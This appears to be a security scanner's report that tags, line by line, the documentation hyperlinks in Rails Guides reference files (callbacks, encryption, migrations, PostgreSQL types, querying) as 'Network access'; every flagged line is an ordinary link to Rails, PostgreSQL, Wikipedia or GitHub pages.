https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_create - Network accessline 201
[`before_save`]: https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_save [`before_validation`]: - Network accessline 202
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_save - Network accessline 204
https://api.rubyonrails.org/classes/ActiveModel/Validations/Callbacks/ClassMethods.html#method-i-before_validation - Network accessline 212
Validation callbacks are triggered whenever the record is validated directly via the [`valid?`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-valid-3F) - Network accessline 213
the [`valid?`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-valid-3F) ( or its alias - Network accessline 214
[`valid?`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-valid-3F) - Network accessline 215
( or its alias [`validate`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-validate)) or - Network accessline 216
[`validate`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-validate)) - Network accessline 217
or [`invalid?`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-invalid-3F) method, or indirectly via `create`, `update`, or `save`. They are called before - Network accessline 218
[`invalid?`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-invalid-3F) - Network accessline 351
[`after_update`]: https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_update - Network accessline 352
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_update - Network accessline 353
[`around_update`]: https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_update [`before_update`]: - Network accessline 354
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_update - Network accessline 356
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_update - Network accessline 459
[`after_destroy`]: https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_destroy - Network accessline 460
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_destroy - Network accessline 461
[`around_destroy`]: https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_destroy [`before_destroy`]: - Network accessline 462
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_destroy - Network accessline 464
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_destroy - Network accessline 547
[`after_find`]: https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_find - Network accessline 548
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_find - Network accessline 550
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_initialize - Network accessline 554
The [`after_touch`][] callback will be called whenever an Active Record object is touched. You can [read more about `touch` in the API docs](https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-touch). - Network accessline 556
docs](https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-touch). - Network accessline 606
[`after_touch`]: https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_touch - Network accessline 607
https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_touch - Network accessline 803
[`decrement!`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-decrement-21 - Network accessline 804
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-decrement-21 - Network accessline 805
[`decrement_counter`]: https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-decrement_counter [`delete`]: - Network accessline 806
https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-decrement_counter - Network accessline 807
[`delete`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-delete [`delete_all`]: - Network accessline 808
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-delete - Network accessline 809
[`delete_all`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-delete_all [`delete_by`]: - Network accessline 810
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-delete_all - Network accessline 811
[`delete_by`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-delete_by [`increment!`]: - Network accessline 812
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-delete_by - Network accessline 813
[`increment!`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-increment-21 [`increment_counter`]: - Network accessline 814
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-increment-21 - Network accessline 815
[`increment_counter`]: https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-increment_counter [`insert`]: - Network accessline 816
https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-increment_counter - Network accessline 817
[`insert`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert [`insert!`]: - Network accessline 818
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert - Network accessline 819
[`insert!`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert-21 [`insert_all`]: - Network accessline 820
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert-21 - Network accessline 821
[`insert_all`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all [`insert_all!`]: - Network accessline 822
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all - Network accessline 823
[`insert_all!`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all-21 [`touch_all`]: - Network accessline 824
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all-21 - Network accessline 825
[`touch_all`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-touch_all [`update_column`]: - Network accessline 826
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-touch_all - Network accessline 827
[`update_column`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_column [`update_columns`]: - Network accessline 828
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_column - Network accessline 829
[`update_columns`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_columns [`update_all`]: - Network accessline 830
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_columns - Network accessline 831
[`update_all`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_all [`update_counters`]: - Network accessline 832
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_all - Network accessline 833
[`update_counters`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_counters [`upsert`]: - Network accessline 834
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_counters - Network accessline 835
[`upsert`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert [`upsert_all`]: - Network accessline 836
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert - Network accessline 838
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert_all - Network accessline 849
Rails provides a mechanism to prevent saving records using the [`ActiveRecord::Suppressor` module](https://api.rubyonrails.org/classes/ActiveRecord/Suppressor.html). - Network accessline 850
[`ActiveRecord::Suppressor` module](https://api.rubyonrails.org/classes/ActiveRecord/Suppressor.html). - Network accessline 1331
[`after_create_commit`]: https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_create_commit - Network accessline 1332
https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_create_commit - Network accessline 1333
[`after_destroy_commit`]: https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_destroy_commit [`after_save_commit`]: - Network accessline 1334
https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_destroy_commit - Network accessline 1335
[`after_save_commit`]: https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_save_commit [`after_update_commit`]: - Network accessline 1336
https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_save_commit - Network accessline 1338
https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_update_commit - Network accessline 1377
[`ActiveRecord.after_all_transactions_commit`]: https://api.rubyonrails.org/classes/ActiveRecord.html#method-c-after_all_transactions_commit
packages/autoskills/skills-registry/rails-guides/references/active_record_composite_primary_keys.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
packages/autoskills/skills-registry/rails-guides/references/active_record_encryption.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 2
<https://guides.rubyonrails.org>.** - Network accessline 33
in your code. This enables precise access control throughout your application and any connected services. For example, you can use tools like [console1984](https://github.com/basecamp/console1984) to restrict decrypted - Network accessline 34
and any connected services. For example, you can use tools like [console1984](https://github.com/basecamp/console1984) to restrict decrypted data access in the Rails console. You can also take advantage of automatic - Network accessline 35
[console1984](https://github.com/basecamp/console1984) to restrict decrypted - Network accessline 71
NOTE: The generated values are 32 bytes in length. If you generate these yourself, the recommended minimum length is 12 bytes for the primary key and 20 bytes for the [salt](https://en.wikipedia.org/wiki/Salt_(cryptography)). - Network accessline 73
bytes for the [salt](https://en.wikipedia.org/wiki/Salt_(cryptography)). - Network accessline 80
The [`encrypts` method](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/EncryptableRecord.html#method-i-encrypts) - Network accessline 81
method](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/EncryptableRecord.html#method-i-encrypts) - Network accessline 232
NOTE: In non-deterministic mode, Active Record uses [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)-[GCM](https://en.wikipedia.org/wiki/Galois/Counter_Mode) - Network accessline 233
[AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)-[GCM](https://en.wikipedia.org/wiki/Galois/Counter_Mode) - Network accessline 235
it also uses AES-GCM, but the initialization vector is not random. It is generated as a function of the key and the plaintext content ([HMAC](https://en.wikipedia.org/wiki/HMAC)-SHA-256 digest of the two). - Network accessline 237
([HMAC](https://en.wikipedia.org/wiki/HMAC)-SHA-256 digest of the two). - Network accessline 276
type before encrypting them as long as the value is serializable as Strings. If the underlying type is not serializable as a String, you can use a custom [`message_serializer`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption - Network accessline 278
[`message_serializer`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption/MessageSerializer.html): - Network accessline 286
Attributes with structured types using the [`serialized`](https://api.rubyonrails.org/v8.0.2/classes/ActiveRecord/AttributeMethods/Serialization/ClassMethods.html#method-i-serialize) - Network accessline 287
[`serialized`](https://api.rubyonrails.org/v8.0.2/classes/ActiveRecord/AttributeMethods/Serialization/ClassMethods.html#method-i-serialize) - Network accessline 459
You can also configure the algorithm used for the compression. The default compressor is [`Zlib`](https://en.wikipedia.org/wiki/Zlib). You can implement - Network accessline 460
compressor is [`Zlib`](https://en.wikipedia.org/wiki/Zlib). You can implement - Network accessline 647
You can use [`with_encryption_context`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/Contexts.html#method-i-with_encryption_context) - Network accessline 648
[`with_encryption_context`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/Contexts.html#method-i-with_encryption_context) - Network accessline 709
The [`DerivedSecretKeyProvider`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/DerivedSecretKeyProvider.html) - Network accessline 710
[`DerivedSecretKeyProvider`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/DerivedSecretKeyProvider.html) - Network accessline 724
The [`EnvelopeEncryptionKeyProvider`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/EnvelopeEncryptionKeyProvider.html) - Network accessline 725
[`EnvelopeEncryptionKeyProvider`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/EnvelopeEncryptionKeyProvider.html) - Network accessline 726
implements a simple [envelope encryption](https://en.wikipedia.org/wiki/Hybrid_cryptosystem#Envelope_encryption) strategy, where the data is encrypted with a key, which in turn is also - Network accessline 727
encryption](https://en.wikipedia.org/wiki/Hybrid_cryptosystem#Envelope_encryption) - Network accessline 773
A key can include arbitrary tags that will be stored unencrypted with the message. You can use [`ActiveRecord::Encryption::Message#headers`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption/Message.html) - Network accessline 774
message. You can use [`ActiveRecord::Encryption::Message#headers`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption/Message.html) to examine those values when decrypting. - Network accessline 775
[`ActiveRecord::Encryption::Message#headers`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption/Message.html)
packages/autoskills/skills-registry/rails-guides/references/active_record_migrations.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 25
Migrations are a convenient way to [evolve your database schema over time](https://en.wikipedia.org/wiki/Schema_migration) in a reproducible way. - Network accessline 26
time](https://en.wikipedia.org/wiki/Schema_migration) in a reproducible way. - Network accessline 27
They use a Ruby [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) so - Network accessline 28
that you don't have to write [SQL](https://en.wikipedia.org/wiki/SQL) by hand, - Network accessline 327
[`add_column`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column - Network accessline 328
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column - Network accessline 329
[`add_index`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index [`add_reference`]: - Network accessline 330
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index - Network accessline 331
[`add_reference`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference [`remove_column`]: - Network accessline 332
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference - Network accessline 334
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_column - Network accessline 548
[`create_table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_table - Network accessline 549
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_table - Network accessline 622
[`create_join_table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_join_table - Network accessline 623
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_join_table - Network accessline 645
[`change_table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table - Network accessline 646
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table - Network accessline 693
[`change_column`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column - Network accessline 694
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column - Network accessline 695
[`change_column_default`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_default [`change_column_null`]: - Network accessline 696
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_default - Network accessline 698
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_null - Network accessline 735
The MySQL `algorithm` option accepts `:default`, `:copy`, `:inplace`, or `:instant`. The `lock` option accepts `:default`, `:none`, `:shared`, or `:exclusive`. See the [MySQL documentation on Online DDL](https://dev.mysql.com/doc/refman/en/ - Network accessline 736
The `lock` option accepts `:default`, `:none`, `:shared`, or `:exclusive`. See the [MySQL documentation on Online DDL](https://dev.mysql.com/doc/refman/en/innodb-online-ddl-operations.html) for details on which algorithms and lock modes are - Network accessline 737
See the [MySQL documentation on Online DDL](https://dev.mysql.com/doc/refman/en/innodb-online-ddl-operations.html) - Network accessline 778
For more `add_reference` options, visit the [API documentation](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference). - Network accessline 779
documentation](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference). - Network accessline 907
[`execute`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-execute - Network accessline 908
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-execute - Network accessline 909
[`ActiveRecord::ConnectionAdapters::SchemaStatements`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html [`ActiveRecord::ConnectionAdapters::TableDefinition`]: - Network accessline 910
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html - Network accessline 911
[`ActiveRecord::ConnectionAdapters::TableDefinition`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html [`ActiveRecord::ConnectionAdapters::Table`]: - Network accessline 912
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html - Network accessline 914
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html - Network accessline 955
[`add_check_constraint`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_check_constraint - Network accessline 956
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_check_constraint - Network accessline 957
[`add_foreign_key`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key [`add_timestamps`]: - Network accessline 958
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key - Network accessline 959
[`add_timestamps`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_timestamps [`change_column_comment`]: - Network accessline 960
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_timestamps - Network accessline 961
[`change_column_comment`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_comment [`change_table_comment`]: - Network accessline 962
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_comment - Network accessline 963
[`change_table_comment`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table_comment [`drop_join_table`]: - Network accessline 964
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table_comment - Network accessline 965
[`drop_join_table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_join_table [`drop_table`]: - Network accessline 966
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_join_table - Network accessline 967
[`drop_table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_table [`remove_check_constraint`]: - Network accessline 968
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_table - Network accessline 969
[`remove_check_constraint`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_check_constraint [`remove_foreign_key`]: - Network accessline 970
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_check_constraint - Network accessline 971
[`remove_foreign_key`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key [`remove_index`]: - Network accessline 972
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key - Network accessline 973
[`remove_index`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_index [`remove_reference`]: - Network accessline 974
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_index - Network accessline 975
[`remove_reference`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_reference [`remove_timestamps`]: - Network accessline 976
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_reference - Network accessline 977
[`remove_timestamps`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_timestamps [`rename_column`]: - Network accessline 978
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_timestamps - Network accessline 979
[`rename_column`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_column [`remove_columns`]: - Network accessline 980
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_column - Network accessline 981
[`remove_columns`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_columns [`rename_index`]: - Network accessline 982
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_columns - Network accessline 983
[`rename_index`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_index [`rename_table`]: - Network accessline 984
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_index - Network accessline 986
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_table - Network accessline 1067
[`reversible`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-reversible - Network accessline 1068
https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-reversible - Network accessline 1202
[`revert`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-revert - Network accessline 1203
https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-revert - Network accessline 1448
[`say`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-say - Network accessline 1449
https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-say - Network accessline 1450
[`say_with_time`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-say_with_time [`suppress_messages`]: - Network accessline 1451
https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-say_with_time - Network accessline 1453
https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-suppress_messages - Network accessline 1832
Instead consider using the built-in `script/` directory or a dedicated gem such as [`maintenance_tasks`](https://github.com/Shopify/maintenance_tasks). - Network accessline 1833
such as [`maintenance_tasks`](https://github.com/Shopify/maintenance_tasks). - Network accessline 1839
If you require more functionality, then the [`maintenance_tasks`](https://github.com/Shopify/maintenance_tasks) gem provides a framework for - Network accessline 1840
[`maintenance_tasks`](https://github.com/Shopify/maintenance_tasks) gem provides a framework for - Network accessline 1956
[`ActiveRecord::Migration::DefaultStrategy`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration/DefaultStrategy.html - Network accessline 1957
https://api.rubyonrails.org/classes/ActiveRecord/Migration/DefaultStrategy.html - Network accessline 1958
[`ActiveRecord::Migration::ExecutionStrategy`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration/ExecutionStrategy.html [`config.active_record.migration_strategy`]: - Network accessline 1959
https://api.rubyonrails.org/classes/ActiveRecord/Migration/ExecutionStrategy.html - Network accessline 1961
configuring.html#config-active-record-migration-strategy [`ActiveRecord::ConnectionAdapters::SchemaStatements`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html - Network accessline 1963
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html
packages/autoskills/skills-registry/rails-guides/references/active_record_multiple_databases.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
packages/autoskills/skills-registry/rails-guides/references/active_record_postgresql.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 36
* [type definition](https://www.postgresql.org/docs/current/static/datatype-binary.html) - Network accessline 37
* [functions and operators](https://www.postgresql.org/docs/current/static/functions-binarystring.html) - Network accessline 60
* [type definition](https://www.postgresql.org/docs/current/static/arrays.html) - Network accessline 61
* [functions and operators](https://www.postgresql.org/docs/current/static/functions-array.html) - Network accessline 98
* [type definition](https://www.postgresql.org/docs/current/static/hstore.html) - Network accessline 99
* [functions and operators](https://www.postgresql.org/docs/current/static/hstore.html#id-1.11.7.26.5) - Network accessline 135
* [type definition](https://www.postgresql.org/docs/current/static/datatype-json.html) - Network accessline 136
* [functions and operators](https://www.postgresql.org/docs/current/static/functions-json.html) - Network accessline 170
* [type definition](https://www.postgresql.org/docs/current/static/rangetypes.html) - Network accessline 171
* [functions and operators](https://www.postgresql.org/docs/current/static/functions-range.html) - Network accessline 173
This type is mapped to Ruby [`Range`](https://docs.ruby-lang.org/en/master/Range.html) objects. - Network accessline 209
* [type definition](https://www.postgresql.org/docs/current/static/rowtypes.html) - Network accessline 253
* [type definition](https://www.postgresql.org/docs/current/static/datatype-enum.html) - Network accessline 255
The type can be mapped as a normal text column, or to an [`ActiveRecord::Enum`](https://api.rubyonrails.org/classes/ActiveRecord/Enum.html). - Network accessline 339
NOTE: Enum values can't be dropped, which also means add_enum_value is irreversible. You can read why [here](https://www.postgresql.org/message-id/29F36C7C98AB09499B1A209D48EAA615B7653DBC8A@mail2a.alliedtesting.com). - Network accessline 363
* [type definition](https://www.postgresql.org/docs/current/static/datatype-uuid.html) - Network accessline 364
* [pgcrypto generator function](https://www.postgresql.org/docs/current/static/pgcrypto.html) - Network accessline 420
* [type definition](https://www.postgresql.org/docs/current/static/datatype-bit.html) - Network accessline 421
* [functions and operators](https://www.postgresql.org/docs/current/static/functions-bitstring.html) - Network accessline 449
* [type definition](https://www.postgresql.org/docs/current/static/datatype-net-types.html) - Network accessline 451
The types `inet` and `cidr` are mapped to Ruby [`IPAddr`](https://docs.ruby-lang.org/en/master/IPAddr.html) - Network accessline 452
[`IPAddr`](https://docs.ruby-lang.org/en/master/IPAddr.html) - Network accessline 485
* [type definition](https://www.postgresql.org/docs/current/static/datatype-geometric.html) - Network accessline 492
* [type definition](https://www.postgresql.org/docs/current/static/datatype-datetime.html#DATATYPE-INTERVAL-INPUT) - Network accessline 493
* [functions and operators](https://www.postgresql.org/docs/current/static/functions-datetime.html) - Network accessline 495
This type is mapped to [`ActiveSupport::Duration`](https://api.rubyonrails.org/classes/ActiveSupport/Duration.html) objects. - Network accessline 520
* [Date/Time Types](https://www.postgresql.org/docs/current/datatype-datetime.html) - Network accessline 532
While this works ok, [PostgreSQL best practices](https://wiki.postgresql.org/wiki/Don't_Do_This#Don.27t_use_timestamp_.28without_time_zone.29) recommend that `timestamp with time zone` is used instead for timezone-aware timestamps. - Network accessline 593
* [index creation](https://www.postgresql.org/docs/current/sql-createindex.html) - Network accessline 595
PostgreSQL includes a variety of index options. The following options are supported by the PostgreSQL adapter in addition to the [common index options](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.htm - Network accessline 597
[common index options](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index) - Network accessline 643
* [foreign key table constraints](https://www.postgresql.org/docs/current/sql-set-constraints.html) - Network accessline 678
* [unique constraints](https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-UNIQUE-CONSTRAINTS) - Network accessline 699
* [exclusion constraints](https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-EXCLUSION) - Network accessline 765
* [view creation](https://www.postgresql.org/docs/current/static/sql-createview.html) - Network accessline 853
[explain-options]: active_record_querying.html#explain-options [explain-analyze-buffers]: https://www.postgresql.org/docs/current/sql-explain.html - Network accessline 854
[explain-analyze-buffers]: https://www.postgresql.org/docs/current/sql-explain.html
packages/autoskills/skills-registry/rails-guides/references/active_record_querying.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 155
[`ActiveRecord::Relation`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html - Network accessline 156
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html - Network accessline 157
[`ActiveRecord::QueryMethods`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html [`ActiveRecord::FinderMethods`]: - Network accessline 158
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html - Network accessline 159
[`ActiveRecord::FinderMethods`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html [`distinct`]: - Network accessline 160
https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html - Network accessline 161
